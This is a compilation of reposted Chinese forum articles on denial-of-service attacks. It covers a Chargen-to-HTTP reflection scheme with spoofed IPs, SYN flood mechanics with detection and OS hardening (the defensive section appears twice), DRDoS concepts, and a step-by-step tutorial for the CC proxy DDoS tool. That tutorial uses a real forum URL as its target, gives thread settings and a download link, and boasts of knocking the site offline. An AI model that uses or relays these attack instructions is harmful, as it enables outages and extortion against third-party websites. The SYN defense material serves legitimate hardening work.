    由于HTTP协议是基于请求/响应范式的（相当于客户机/服务器）。一个客户机与服务器建立连接后，发送一个请求给服务器，请求方式的格式为：统一资源标识符(URL)、协议版本号，后边是MIME信息包括请求修饰符、客户机信息和可能的内容。服务器接到请求后，给予相应的响应信息，其格式为一个状态行，包括信息的协议版本号、一个成功或错误的代码，后边是MIME信息包括服务器信息、实体信息和可能的内容。
留意这行文字：“服务器接到请求后，给予相应的响应信息，其格式为一个状态行”，这是HTTP协议的一个重要特性，我们可以做个实验：
用TELNET或任何一个能建立HTTP连接的程序连接到某服务器的80端口，手工输入：
GET /index.htm HTTP/1.0（必须确保这个工具能自动产生两个换行符，否则服务器会认为你没有输入完全！）
如果index.htm存在，你会看到类似以下的报文：
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Content-Location: http://www.******.com/index.htm
Date: Sat, 20 Jul 2002 23:32:03 GMT
Content-Type: text/html
Accept-Ranges: bytes
Last-Modified: Wed, 03 Jul 2002 09:50:05 GMT
ETag: "8e2ba27722c21:850"
Content-Length: 3292
<html>
<head>
<title>青涩宝贝主题站－－SG fans的世界！！！</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<link rel="stylesheet" href="all.css" type="text/css">
.......
这是正常的访问方法，但是如果我们胡乱输入请求呢？看：
HTTP/1.1 400 Bad Request
Server: Microsoft-IIS/5.0
Date: Sat, 20 Jul 2002 23:37:59 GMT
Content-Type: text/html
Content-Length: 87
<html><head><title>Error</title></head><body>The parameter is incorrect. </body></html>

呵呵，HTTP 400 - 错误请求，其实就是HTTP语法错误，服务器老老实实给我们返回了。
可以得出结论：无论你输入了什么，服务器根据HTTP协议，总会返回信息
通常用得最多的DOS方法主要有SYN、Smurf、Land、TearDrop等，其中SYN的资料如下（抄来的资料~~呵呵）
假设一个用户向服务器发送了SYN报文后突然死机或掉线，那么服务器在发出SYN+ACK应答报文后是无法收到客户端的ACK报文的（第三次握手无法完成），这种情况下服务器端一般会重试（再次发送SYN+ACK给客户端）并等待一段时间后丢弃这个未完成的连接，这段时间的长度我们称为SYN Timeout，一般来说这个时间是分钟的数量级（大约为30秒-2分钟）；一个用户出现异常导致服务器的一个线程等待1分钟并不是什么很大的问题，但如果有一个恶意的攻击者大量模拟这种情况，服务器端将为了维护一个非常大的半连接列表而消耗非常多的资源----数以万计的半连接，即使是简单的保存并遍历也会消耗非常多的CPU时间和内存，何况还要不断对这个列表中的IP进行SYN+ACK的重试。实际上如果服务器的TCP/IP栈不够强大，最后的结果往往是堆栈溢出崩溃---即使服务器端的系统足够强大，服务器端也将忙于处理攻击者伪造的TCP连接请求而无暇理睬客户的正常请求（毕竟客户端的正常请求比率非常之小），此时从正常客户的角度看来，服务器失去响应，这种情况我们称作：服务器端受到了SYN Flood攻击（SYN洪水攻击）。

而Smurf、TearDrop等是利用ICMP报文来Flood和IP碎片攻击的。
但是以上的DOS方法的目的无非都是让服务器大量消耗资源和超时连接，那么除了超时连接，能不能用“正常连接”的方法来产生拒绝服务攻击呢？
再来看看19端口的定义：
字符产生器协议（Character Generator Protocol）
字符产生器服务器一个有用的调试工具。无论接收到的是什么，它都返回特定的数据。
基于TCP的字符产生器服务
此服务可以是一个基于TCP的服务，TCP端口19是用于此服务的。一旦连接建立，服务器会传送一个字符流。接收到的信息会被抛弃。字符流会在用户请求下中止。用户可能会非正常中止一个连接，因此此服务必须准备处理这种情况。传输的速度会由TCP流控制机制负责，用户不必关心数据太快，而用户来不及处理。

19端口在早期已经有人用来做Chargen攻击了，即Chargen_Denial_of_Service，但是！他们用的方法是在两台Chargen服务器之间产生UDP连接，让服务器处理过多信息而DOWN掉，那么，干掉一台WEB服务器的条件就必须有2个：1.有Chargen服务 2.有HTTP服务
实际上，现在是无法找到这么多同时开放两个这两个服务的服务器的。
看看开头的HTTP协议特性，和Chargen比较一下，你发现了什么？哈哈~~~没错！一个是无论接收到什么报文都会回应，一个是一旦连接建立就会发送报文，看看示意图：
发送请求------------------------------------->
客户端----------------------------------------------------------服务器
<-------------------------------------------回应
如果把客户端改为Chargen，就是以下情况：
字符流--------------------------------------->
Chargen----------------------------------------------------------服务器
<-----------------------------------400 Bad Request
也就是说，这两者会产生利害冲突，可以这样比喻：两个人吵架，你骂一句，他还一句，这就是循环过程，除非有一方停止或第三者干涉，否则这将是个Do...Loop循环！
搬到HTTP和Chargen来说，就是因为这两者的特性正好天生一对，那好，就从这里下手：
攻击者伪造源IP给N台Chargen发送连接请求（Connect），如有必要还可以发送（Send）个“Fuck you”报文过去，Chargen接收到连接后就会返回每秒72字节的字符流（实际上根据网络实际情况，这个速度更快）给服务器，HTTP协议处理这个报文时当然会识别为400 Bad Request而返回一条错误说明给它，接下来的情况嘛………………自己发挥想像力，别问我。
我用自己的机器（640 kbps ADSL）+VB Winsock程序做测试，只用了3秒钟，程序就因为内存溢出而崩溃了（主要是TextBox的问题，它接受文本的最大范围为64KB），就是说，3秒钟内Chargen就发送了大于64KB的字符流！如果用大于10台的Chargen一起发起攻击，其速度足以大量消耗服务器资源和带宽，使服务器回应缓慢甚至DOWN掉！


[转载]SYN攻击原理以及防范技术

信息来源：http://www.oioj.net/blog/more.asp?name=cnbird&id=21646
本文介绍SYN攻击的基本原理、工具及检测方法，并全面探讨SYN攻击防范技术……
***********************
TCP握手协议
SYN攻击原理
SYN攻击工具
检测SYN攻击
SYN攻击防范技术
***********************
据统计，在所有黑客攻击事件中，SYN攻击是最常见又最容易被利用的一种攻击手法。相信很多人还记得2000年YAHOO网站遭受的攻击事例，当时黑客利用的就是简单而有效的SYN攻击，有些网络蠕虫病毒配合SYN攻击造成更大的破坏。本文介绍SYN攻击的基本原理、工具及检测方法，并全面探讨SYN攻击防范技术。
    一、TCP握手协议
    在TCP/IP协议中，TCP协议提供可靠的连接服务，采用三次握手建立一个连接。
    第一次握手：建立连接时，客户端发送syn包(syn=j)到服务器，并进入SYN_SEND状态，等待服务器确认；
第二次握手：服务器收到syn包，必须确认客户的SYN（ack=j+1），同时自己也发送一个SYN包（syn=k），即SYN+ACK包，此时服务器进入SYN_RECV状态；
    第三次握手：客户端收到服务器的SYN＋ACK包，向服务器发送确认包ACK(ack=k+1)，此包发送完毕，客户端和服务器进入ESTABLISHED状态，完成三次握手。
    完成三次握手，客户端与服务器开始传送数据，在上述过程中，还有一些重要的概念：
    未连接队列：在三次握手协议中，服务器维护一个未连接队列，该队列为每个客户端的SYN包（syn=j）开设一个条目，该条目表明服务器已收到SYN包，并向客户发出确认，正在等待客户的确认包。这些条目所标识的连接在服务器处于Syn_RECV状态，当服务器收到客户的确认包时，删除该条目，服务器进入ESTABLISHED状态。
Backlog参数：表示未连接队列的最大容纳数目。
    SYN-ACK 重传次数　服务器发送完SYN－ACK包，如果未收到客户确认包，服务器进行首次重传，等待一段时间仍未收到客户确认包，进行第二次重传，如果重传次数超过系统规定的最大重传次数，系统将该连接信息从半连接队列中删除。注意，每次重传等待的时间不一定相同。
    半连接存活时间：是指半连接队列的条目存活的最长时间，也即服务从收到SYN包到确认这个报文无效的最长时间，该时间值是所有重传请求包的最长等待时间总和。有时我们也称半连接存活时间为Timeout时间、SYN_RECV存活时间。
    二、SYN攻击原理
    SYN攻击属于DOS攻击的一种，它利用TCP协议缺陷，通过发送大量的半连接请求，耗费CPU和内存资源。SYN攻击除了能影响主机外，还可以危害路由器、防火墙等网络系统，事实上SYN攻击并不管目标是什么系统，只要这些系统打开TCP服务就可以实施。从上图可看到，服务器接收到连接请求（syn=j），将此信息加入未连接队列，并发送请求包给客户（syn=k,ack=j+1），此时进入SYN_RECV状态。当服务器未收到客户端的确认包时，重发请求包，一直到超时，才将此条目从未连接队列删除。配合IP欺骗，SYN攻击能达到很好的效果，通常，客户端在短时间内伪造大量不存在的IP地址，向服务器不断地发送syn包，服务器回复确认包，并等待客户的确认，由于源地址是不存在的，服务器需要不断的重发直至超时，这些伪造的SYN包将长时间占用未连接队列，正常的SYN请求被丢弃，目标系统运行缓慢，严重者引起网络堵塞甚至系统瘫痪。
    三、SYN攻击工具
    SYN攻击实现起来非常的简单，互联网上有大量现成的SYN攻击工具。
    1、windows系统下的SYN工具
    以synkill.exe为例，运行工具，选择随机的源地址和源端囗，并填写目标机器地址和TCP端囗，激活运行，很快就会发现目标系统运行缓慢。如果攻击效果不明显，可能是目标机器并未开启所填写的TCP端囗或者防火墙拒绝访问该端囗，此时可选择允许访问的TCP端囗，通常，windows系统开放tcp139端囗，UNIX系统开放tcp7、21、23等端囗。
    四、检测SYN攻击
    检测SYN攻击非常的方便，当你在服务器上看到大量的半连接状态时，特别是源IP地址是随机的，基本上可以断定这是一次SYN攻击。我们使用系统自带的netstat 工具来检测SYN攻击：
    # netstat -n -p TCP
    tcp　0　 0 10.11.11.11:23　　124.173.152.8:25882　 SYN_RECV　-
    tcp　0　 0 10.11.11.11:23　　236.15.133.204:2577　 SYN_RECV　-
    tcp　0　 0 10.11.11.11:23　　127.160.6.129:51748　 SYN_RECV　-
    tcp　0　 0 10.11.11.11:23　　222.220.13.25:47393　 SYN_RECV　-
    tcp　0　 0 10.11.11.11:23　　212.200.204.182:60427 SYN_RECV　-
    tcp　0　 0 10.11.11.11:23　　232.115.18.38:278　　 SYN_RECV　-
    tcp　0　 0 10.11.11.11:23　　239.116.95.96:5122　　SYN_RECV　-
    tcp　0　 0 10.11.11.11:23　　236.219.139.207:49162 SYN_RECV　-
    ...
    上面是在LINUX系统中看到的，很多连接处于SYN_RECV状态（在WINDOWS系统中是SYN_RECEIVED状态），源IP地址都是随机的，表明这是一种带有IP欺骗的SYN攻击。
    我们也可以通过下面的命令直接查看在LINUX环境下某个端囗的未连接队列的条目数：
    ＃netstat -n -p TCP | grep SYN_RECV | grep :22 | wc -l
    324
    显示TCP端囗22的未连接数有324个，虽然还远达不到系统极限，但应该引起管理员的注意。

五、SYN攻击防范技术
    关于SYN攻击防范技术，人们研究得比较早。归纳起来，主要有两大类，一类是通过防火墙、路由器等过滤网关防护，另一类是通过加固TCP/IP协议栈防范.但必须清楚的是，SYN攻击不能完全被阻止，我们所做的是尽可能的减轻SYN攻击的危害，除非将TCP协议重新设计。
    1、过滤网关防护
    这里，过滤网关主要指明防火墙，当然路由器也能成为过滤网关。防火墙部署在不同网络之间，防范外来非法攻击和防止保密信息外泄，它处于客户端和服务器之间，利用它来防护SYN攻击能起到很好的效果。过滤网关防护主要包括超时设置，SYN网关和SYN代理三种。
    ■网关超时设置：防火墙设置SYN转发超时参数（状态检测的防火墙可在状态表里面设置），该参数远小于服务器的timeout时间。当客户端发送完SYN包，服务端发送确认包后（SYN＋ACK），防火墙如果在计数器到期时还未收到客户端的确认包（ACK），则往服务器发送RST包，以使服务器从队列中删去该半连接。值得注意的是，网关超时参数设置不宜过小也不宜过大，超时参数设置过小会影响正常的通讯，设置太大，又会影响防范SYN攻击的效果，必须根据所处的网络应用环境来设置此参数。
    ■SYN网关：SYN网关收到客户端的SYN包时，直接转发给服务器；SYN网关收到服务器的SYN/ACK包后，将该包转发给客户端，同时以客户端的名义给服务器发ACK确认包。此时服务器由半连接状态进入连接状态。当客户端确认包到达时，如果有数据则转发，否则丢弃。事实上，服务器除了维持半连接队列外，还要有一个连接队列，如果发生SYN攻击时，将使连接队列数目增加，但一般服务器所能承受的连接数量比半连接数量大得多，所以这种方法能有效地减轻对服务器的攻击。
　■SYN代理：当客户端SYN包到达过滤网关时，SYN代理并不转发SYN包，而是以服务器的名义主动回复SYN/ACK包给客户，如果收到客户的ACK包，表明这是正常的访问，此时防火墙向服务器发送ACK包并完成三次握手。SYN代理事实上代替了服务器去处理SYN攻击，此时要求过滤网关自身具有很强的防范SYN攻击能力。

    2、加固tcp/ip协议栈
    防范SYN攻击的另一项主要技术是调整tcp/ip协议栈，修改tcp协议实现。主要方法有SynAttackProtect保护机制、SYN cookies技术、增加最大半连接和缩短超时时间等。tcp/ip协议栈的调整可能会引起某些功能的受限，管理员应该在进行充分了解和测试的前提下进行此项工作。
    ■SynAttackProtect机制
    为防范SYN攻击，win2000系统的tcp/ip协议栈内嵌了SynAttackProtect机制，Win2003系统也采用此机制。SynAttackProtect机制是通过关闭某些socket选项，增加额外的连接指示和减少超时时间，使系统能处理更多的SYN连接，以达到防范SYN攻击的目的。默认情况下，Win2000操作系统并不支持SynAttackProtect保护机制，需要在注册表以下位置增加SynAttackProtect键值：
    HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters
    当SynAttackProtect值（如无特别说明，本文提到的注册表键值都为十六进制）为0或不设置时，系统不受SynAttackProtect保护。
    当SynAttackProtect值为1时，系统通过减少重传次数和延迟未连接时路由缓冲项（route cache entry）防范SYN攻击。

五、SYN攻击防范技术

    关于SYN攻击防范技术，人们研究得比较早。归纳起来，主要有两大类，一类是通过防火墙、路由器等过滤网关防护，另一类是通过加固TCP/IP协议栈防范.但必须清楚的是，SYN攻击不能完全被阻止，我们所做的是尽可能的减轻SYN攻击的危害，除非将TCP协议重新设计。
    1、过滤网关防护
    这里，过滤网关主要指明防火墙，当然路由器也能成为过滤网关。防火墙部署在不同网络之间，防范外来非法攻击和防止保密信息外泄，它处于客户端和服务器之间，利用它来防护SYN攻击能起到很好的效果。过滤网关防护主要包括超时设置，SYN网关和SYN代理三种。
    ■网关超时设置：防火墙设置SYN转发超时参数（状态检测的防火墙可在状态表里面设置），该参数远小于服务器的timeout时间。当客户端发送完SYN包，服务端发送确认包后（SYN＋ACK），防火墙如果在计数器到期时还未收到客户端的确认包（ACK），则往服务器发送RST包，以使服务器从队列中删去该半连接。值得注意的是，网关超时参数设置不宜过小也不宜过大，超时参数设置过小会影响正常的通讯，设置太大，又会影响防范SYN攻击的效果，必须根据所处的网络应用环境来设置此参数。
    ■SYN网关：SYN网关收到客户端的SYN包时，直接转发给服务器；SYN网关收到服务器的SYN/ACK包后，将该包转发给客户端，同时以客户端的名义给服务器发ACK确认包。此时服务器由半连接状态进入连接状态。当客户端确认包到达时，如果有数据则转发，否则丢弃。事实上，服务器除了维持半连接队列外，还要有一个连接队列，如果发生SYN攻击时，将使连接队列数目增加，但一般服务器所能承受的连接数量比半连接数量大得多，所以这种方法能有效地减轻对服务器的攻击。
　■SYN代理：当客户端SYN包到达过滤网关时，SYN代理并不转发SYN包，而是以服务器的名义主动回复SYN/ACK包给客户，如果收到客户的ACK包，表明这是正常的访问，此时防火墙向服务器发送ACK包并完成三次握手。SYN代理事实上代替了服务器去处理SYN攻击，此时要求过滤网关自身具有很强的防范SYN攻击能力。

    2、加固tcp/ip协议栈
    防范SYN攻击的另一项主要技术是调整tcp/ip协议栈，修改tcp协议实现。主要方法有SynAttackProtect保护机制、SYN cookies技术、增加最大半连接和缩短超时时间等。tcp/ip协议栈的调整可能会引起某些功能的受限，管理员应该在进行充分了解和测试的前提下进行此项工作。
    ■SynAttackProtect机制
    为防范SYN攻击，win2000系统的tcp/ip协议栈内嵌了SynAttackProtect机制，Win2003系统也采用此机制。SynAttackProtect机制是通过关闭某些socket选项，增加额外的连接指示和减少超时时间，使系统能处理更多的SYN连接，以达到防范SYN攻击的目的。默认情况下，Win2000操作系统并不支持SynAttackProtect保护机制，需要在注册表以下位置增加SynAttackProtect键值：
    HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters
    当SynAttackProtect值（如无特别说明，本文提到的注册表键值都为十六进制）为0或不设置时，系统不受SynAttackProtect保护。
    当SynAttackProtect值为1时，系统通过减少重传次数和延迟未连接时路由缓冲项（route cache entry）防范SYN攻击。
当SynAttackProtect值为2时（Microsoft推荐使用此值），系统不仅使用backlog队列，还使用附加的半连接指示，以此来处理更多的SYN连接，使用此键值时，tcp/ip的TCPInitialRTT、window size和可滑动窗囗将被禁止。

    我们应该知道，平时，系统是不启用SynAttackProtect机制的，仅在检测到SYN攻击时，才启用，并调整tcp/ip协议栈。那么系统是如何检测SYN攻击发生的呢？事实上，系统根据TcpMaxHalfOpen,TcpMaxHalfOpenRetried 和TcpMaxPortsExhausted三个参数判断是否遭受SYN攻击。
    TcpMaxHalfOpen 表示能同时处理的最大半连接数，如果超过此值，系统认为正处于SYN攻击中。Win2000　server默认值为100，Win2000　Advanced server为500。
    TcpMaxHalfOpenRetried定义了保存在backlog队列且重传过的半连接数，如果超过此值，系统自动启动SynAttackProtect机制。Win2000　server默认值为80，Win2000 Advanced server为400。
    TcpMaxPortsExhausted　是指系统拒绝的SYN请求包的数量，默认是5。
    如果想调整以上参数的默认值，可以在注册表里修改（位置与SynAttackProtect相同）
    ■ SYN cookies技术
    我们知道，TCP协议开辟了一个比较大的内存空间backlog队列来存储半连接条目，当SYN请求不断增加，并这个空间，致使系统丢弃SYN连接。为使半连接队列被塞满的情况下，服务器仍能处理新到的SYN请求，SYN cookies技术被设计出来。
    SYN cookies应用于linux、FreeBSD等操作系统，当半连接队列满时，SYN　cookies并不丢弃SYN请求，而是通过加密技术来标识半连接状态。
    在TCP实现中，当收到客户端的SYN请求时，服务器需要回复SYN＋ACK包给客户端，客户端也要发送确认包给服务器。通常，服务器的初始序列号由服务器按照一定的规律计算得到或采用随机数，但在SYN cookies中，服务器的初始序列号是通过对客户端IP地址、客户端端囗、服务器IP地址和服务器端囗以及其他一些安全数值等要素进行hash运算，加密得到的，称之为cookie。当服务器遭受SYN攻击使得backlog队列满时，服务器并不拒绝新的SYN请求，而是回复cookie（回复包的SYN序列号）给客户端， 如果收到客户端的ACK包，服务器将客户端的ACK序列号减去1得到cookie比较值，并将上述要素进行一次hash运算，看看是否等于此cookie。如果相等，直接完成三次握手（注意：此时并不用查看此连接是否属于backlog队列）。
    在RedHat linux中，启用SYN cookies是通过在启动环境中设置以下命令来完成：
    # echo 1 > /proc/sys/net/ipv4/tcp_syncookies
    ■ 增加最大半连接数
    大量的SYN请求导致未连接队列被塞满，使正常的TCP连接无法顺利完成三次握手，通过增大未连接队列空间可以缓解这种压力。当然backlog队列需要占用大量的内存资源，不能被无限的扩大。
    WIN2000：除了上面介绍的TcpMaxHalfOpen, TcpMaxHalfOpenRetried参数外，WIN2000操作系统可以通过设置动态backlog(dynamic backlog)来增大系统所能容纳的最大半连接数，配置动态backlog由AFD.SYS驱动完成，AFD.SYS是一种内核级的驱动，用于支持基于window socket的应用程序，比如ftp、telnet等。AFD.SYS在注册表的位置：
HKLM\System\CurrentControlSet\Services\AFD\ParametersEnableDynamicBacklog值为1时，表示启用动态backlog，可以修改最大半连接数。
当SynAttackProtect值为2时（Microsoft推荐使用此值），系统不仅使用backlog队列，还使用附加的半连接指示，以此来处理更多的SYN连接，使用此键值时，tcp/ip的TCPInitialRTT、window size和可滑动窗囗将被禁止。

    我们应该知道，平时，系统是不启用SynAttackProtect机制的，仅在检测到SYN攻击时，才启用，并调整tcp/ip协议栈。那么系统是如何检测SYN攻击发生的呢？事实上，系统根据TcpMaxHalfOpen,TcpMaxHalfOpenRetried 和TcpMaxPortsExhausted三个参数判断是否遭受SYN攻击。
    TcpMaxHalfOpen 表示能同时处理的最大半连接数，如果超过此值，系统认为正处于SYN攻击中。Win2000　server默认值为100，Win2000　Advanced server为500。
    TcpMaxHalfOpenRetried定义了保存在backlog队列且重传过的半连接数，如果超过此值，系统自动启动SynAttackProtect机制。Win2000　server默认值为80，Win2000 Advanced server为400。
    TcpMaxPortsExhausted　是指系统拒绝的SYN请求包的数量，默认是5。
    如果想调整以上参数的默认值，可以在注册表里修改（位置与SynAttackProtect相同）
    ■ SYN cookies技术
    我们知道，TCP协议开辟了一个比较大的内存空间backlog队列来存储半连接条目，当SYN请求不断增加，并这个空间，致使系统丢弃SYN连接。为使半连接队列被塞满的情况下，服务器仍能处理新到的SYN请求，SYN cookies技术被设计出来。
    SYN cookies应用于linux、FreeBSD等操作系统，当半连接队列满时，SYN　cookies并不丢弃SYN请求，而是通过加密技术来标识半连接状态。
    在TCP实现中，当收到客户端的SYN请求时，服务器需要回复SYN＋ACK包给客户端，客户端也要发送确认包给服务器。通常，服务器的初始序列号由服务器按照一定的规律计算得到或采用随机数，但在SYN cookies中，服务器的初始序列号是通过对客户端IP地址、客户端端囗、服务器IP地址和服务器端囗以及其他一些安全数值等要素进行hash运算，加密得到的，称之为cookie。当服务器遭受SYN攻击使得backlog队列满时，服务器并不拒绝新的SYN请求，而是回复cookie（回复包的SYN序列号）给客户端， 如果收到客户端的ACK包，服务器将客户端的ACK序列号减去1得到cookie比较值，并将上述要素进行一次hash运算，看看是否等于此cookie。如果相等，直接完成三次握手（注意：此时并不用查看此连接是否属于backlog队列）。
    在RedHat linux中，启用SYN cookies是通过在启动环境中设置以下命令来完成：
    # echo 1 > /proc/sys/net/ipv4/tcp_syncookies
    ■ 增加最大半连接数
    大量的SYN请求导致未连接队列被塞满，使正常的TCP连接无法顺利完成三次握手，通过增大未连接队列空间可以缓解这种压力。当然backlog队列需要占用大量的内存资源，不能被无限的扩大。
    WIN2000：除了上面介绍的TcpMaxHalfOpen, TcpMaxHalfOpenRetried参数外，WIN2000操作系统可以通过设置动态backlog(dynamic backlog)来增大系统所能容纳的最大半连接数，配置动态backlog由AFD.SYS驱动完成，AFD.SYS是一种内核级的驱动，用于支持基于window socket的应用程序，比如ftp、telnet等。AFD.SYS在注册表的位置：
HKLM\System\CurrentControlSet\Services\AFD\ParametersEnableDynamicBacklog值为1时，表示启用动态backlog，可以修改最大半连接数。

MinimumDynamicBacklog表示半连接队列为单个TCP端囗分配的最小空闲连接数，当该TCP端囗在backlog队列的空闲连接小于此临界值时，系统为此端囗自动启用扩展的空闲连接（DynamicBacklogGrowthDelta），Microsoft推荐该值为20。

    MaximumDynamicBacklog是当前活动的半连接和空闲连接的和，当此和超过某个临界值时，系统拒绝SYN包，Microsoft推荐MaximumDynamicBacklog值不得超过2000。
    DynamicBacklogGrowthDelta值是指扩展的空闲连接数，此连接数并不计算在MaximumDynamicBacklog内，当半连接队列为某个TCP端囗分配的空闲连接小于MinimumDynamicBacklog时，系统自动分配DynamicBacklogGrowthDelta所定义的空闲连接空间，以使该TCP端囗能处理更多的半连接。Microsoft推荐该值为10。
    LINUX：Linux用变量tcp_max_syn_backlog定义backlog队列容纳的最大半连接数。在Redhat 7.3中，该变量的值默认为256，这个值是远远不够的，一次强度不大的SYN攻击就能使半连接队列占满。我们可以通过以下命令修改此变量的值：
    # sysctl -w net.ipv4.tcp_max_syn_backlog="2048"
    Sun Solaris Sun Solaris用变量tcp_conn_req_max_q0来定义最大半连接数，在Sun Solaris 8中，该值默认为1024，可以通过add命令改变这个值：
    # ndd -set /dev/tcp tcp_conn_req_max_q0 2048
    HP-UX：HP-UX用变量tcp_syn_rcvd_max来定义最大半连接数，在HP-UX　11.00中，该值默认为500，可以通过ndd命令改变默认值：
    ＃ndd -set /dev/tcp tcp_syn_rcvd_max 2048
    ■缩短超时时间
    上文提到，通过增大backlog队列能防范SYN攻击；另外减少超时时间也使系统能处理更多的SYN请求。我们知道，timeout超时时间，也即半连接存活时间，是系统所有重传次数等待的超时时间总和，这个值越大，半连接数占用backlog队列的时间就越长，系统能处理的SYN请求就越少。为缩短超时时间，可以通过缩短重传超时时间（一般是第一次重传超时时间）和减少重传次数来实现。
    Win2000第一次重传之前等待时间默认为3秒，为改变此默认值，可以通过修改网络接囗在注册表里的TcpInitialRtt注册值来完成。重传次数由TcpMaxConnectResponseRetransmissions 来定义，注册表的位置是：HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters registry key。
    当然我们也可以把重传次数设置为0次，这样服务器如果在3秒内还未收到ack确认包就自动从backlog队列中删除该连接条目。
    LINUX：Redhat使用变量tcp_synack_retries定义重传次数，其默认值是5次，总超时时间需要3分钟。
    Sun Solaris Solaris　默认的重传次数是3次，总超时时间为3分钟，可以通过ndd命令修改这些默认值。


使用CC进行DDOS
CC是Fr.Qaker编写的强大的DDOS工具，软件十分方便，不用找肉鸡，直接利用代理服务器进行DDOS。我们以攻击日本一个论坛为例子简要介绍一下。

首先打开google，使用高级查找，关键字“vBulletin”，语言“日本”，这样就能找到很多VBB的日本论坛。
进入论坛随便找个帖子查看他的连接，如“http://sb.xrea.com/showthread.php?t=8271”。
打开CC

找到
“refer：”填入“http://sb.xrea.com/”
“mozilla：”这里默认。cookie也默认。

先说说HTTP头的三个定义
Refer:表示叶面来自于什么地方，他告诉系统访问者是从哪连接来的
Mozilla:表示浏览器类型，MSIE6.0表示Internet Explorer 6.0 Windows 5.1表示是Windows
的版本 Cookie:就是Cookie拉，我也不知道怎么翻译，大家可以通过winsockexpert抓包得到
Cookie有些测试需要先登陆，那么你就先登陆，然后抓出Cookie添进去使用。

进入proxylist设置，这里我们使用自带的代理服务器列表，目前可以使用。你有自己的代理连接，手工填入后点addproxy就可以增加了，如果很多可以放在文本里面一行一个即可，然后用“load”读取即可。
Sleep是线程数据发送后等待时间，一般设为1000表示1秒。
Thread:表示要增加的线程数目，右边那个小框里面表示现在有多少线程运行中
如果你的机器还可以设置为300就比较好了。
在AttackList里面添加规则“ghttp://sb.xrea.com/showthread.php?t=+N4”
然后点“Attack”即可，过不多长时间他就挂掉了，如果觉得300线程少就可以在点attack，每点一次增加“thread”数目的线程。这里设置600－1200即可了，大了对机器不好。
想停止点“Pause”即可停止攻击。

参数说明：
当rnd选项被勾上的时候，就有随机数的功能，在AttackList里面都可以使用由程序自动生成随机字
符，+表示随机字符标志++x N表示数字，U表示大写字母，L表示小写字母，C表示一个
汉字,x是长度，规定为1-9。例子A+N1+U2+L3+C1BCD将可能生成A3BBcde%BA%CEBCD这样一个随机串
AttackList里面的添加规则url
G表示Get模式 P表示POST模式，软件能够自己分辨出参数和HOST选项等等。

大家看看我d了1分钟后的成果

软件下载
http://www.20cn.net/cgi-bin/download/down.cgi
作者：日月双星 （^_^）


拒绝服务攻击浅谈
文章出处：[EST] [CGI]

作者：风泽

转贴请注明出处，谢谢

先来看几个解释：
DoS(Denial of Service) 拒绝服务攻击
DDoS(Distributed Denial of Service) 分布式拒绝服务攻击
DRDoS(Distributed Reflection Denial of Servie Attack) 分布式反射拒绝服务攻击
拒绝服务攻击？如果你不是刚接触网络的话应该对这个词不陌生吧。拒绝服务攻击就是向网站服务器发送大量要求回复的信息，消耗网络带宽或系统资源，导致
网站服务器不能正常服务以至于瘫痪而停止服务。还有一种DoS是针对系统本身漏洞的，通过漏洞利用程序向服务器发送特殊代码，导致服务器提供的服务停止或
者服务器崩溃，此方法不属本文范围之内，不做深入讨论。
DoS是指一台攻击机器对服务器发送数据包，最常见方式有SYNFLOOD、LAND、FAKEPING、狂怒ping,这些攻击效果取决攻击主机的配置和带宽和被攻击主机的配置
和带宽。
DoS威力很有限，所以就出现了DDoS，DDoS攻击方式和DoS基本一样，但它是有N台连上Internet的计算机组成的一个攻击者，威力可显而知，机器越多威力越大，
很多网络管理员对DDoS很头疼，要摆脱DDoS的烦恼就要花一大笔资金，如果是小型企业的就负担不起了，所以DDoS给Internet带来了很多损失。但DDoS也有缺点，
就是攻击者必须收集足够的攻击傀儡机器才能发起一次大规模的DDoS，当然对一些爱好攻击的人来说收集傀儡主机并不是困难之一。
另一个威力强悍的新型攻击方式--DRDoS，它不需要你收集大量肉鸡，只要带宽足够，1台机器就可以发动一次大规模的攻击，就象百度这样的大站也可以让他在短
时间内停止服务。是不是很可怕？
DRDoS的攻击方式在2002就有报道，为什么到现在还称为新一代的攻击方式呢？因为在这几年中国内的一些主流攻击方式还是DDoS攻击，DRDoS攻击很少见，最近在
某网站看见DRDoS攻击方式的攻击工具才觉得DRDoS时代已经悄悄的来了。由于这个攻击方式在网上介绍还不太多，今天我就来简单的介绍一下。
根据网络上的一些资料简单分析，被攻击机器接受SYN/ACK包都是合法的，而且有大量的路由参与了攻击，但他们都是用SYN/ACK回应包来攻击服务器，由这一点我们
可以想到攻击是由一台或多台傀儡主机，伪造攻击目标主机的IP地址，大量向Internet上的任意主机(包括路由)发送SYN请求，这些接受到请求的主机都会根据请求的
IP地址返回一个SYN/ACK包，这样被攻击的目标就大量接受返回的包，造成带宽资源的耗尽，最终导致拒绝服务。

知道了DRDoS的攻击手法，是不是感觉有点借刀杀人的味道？
DRDoS的防范我就不多说了，毕竟偶也没遇到此类攻击。再提两点：

1.攻击者对网络上的主机大量发送伪造的请求，一些防火墙就会自动反弹，间接的使一般用户也成为攻击中的一员，这样的攻击强度可显而知。
2.这点关于DRDoS防范方面的，也是DRDoS一个弱点，这个也是需要ISP做的一件事，就是在数据包出口做严格的审查，发现伪造的包，就将机器
的源地址发送出去，这样DRDoS就达不到它的目的了。
以上两点是在和暗域网络技术站长冰血封情讨论的时候冰血兄给我介绍的，在此特别感谢冰血封情。
好了，几种拒绝服务攻击就简单的谈到这里，希望大家对攻击有一个简单了解，本人技术有限，如有不当之处还望各位能够斧正。


著名黑客工具CC攻击的思路及防范方法
蝴蝶:前段时间上海一家游戏娱乐公司的网站遭到了基于页面请求的DDOS分布式拒绝服务攻击，网站陷入完全瘫痪状态，并被黑客的匿名信勒索，金额高达10万元，而在勒索过程中，这群黑客还表示会对腾讯QQ等网站下手，随后QQ“服务器维护”几天.12月5号的时候，全球BitTorrent服务器也受到了很强烈的DDOS攻击，一度陷入瘫痪。而DDOS攻击中最流行的也是威力最大的就是基于页面的DDOS以及将这个攻击理论发挥得淋漓尽致的攻击工具CC，本文特邀CC作者和我们共同了解CC的相关攻击原理和防范方法，希望能让更多的朋友了解这样的攻击方式并能防范它。
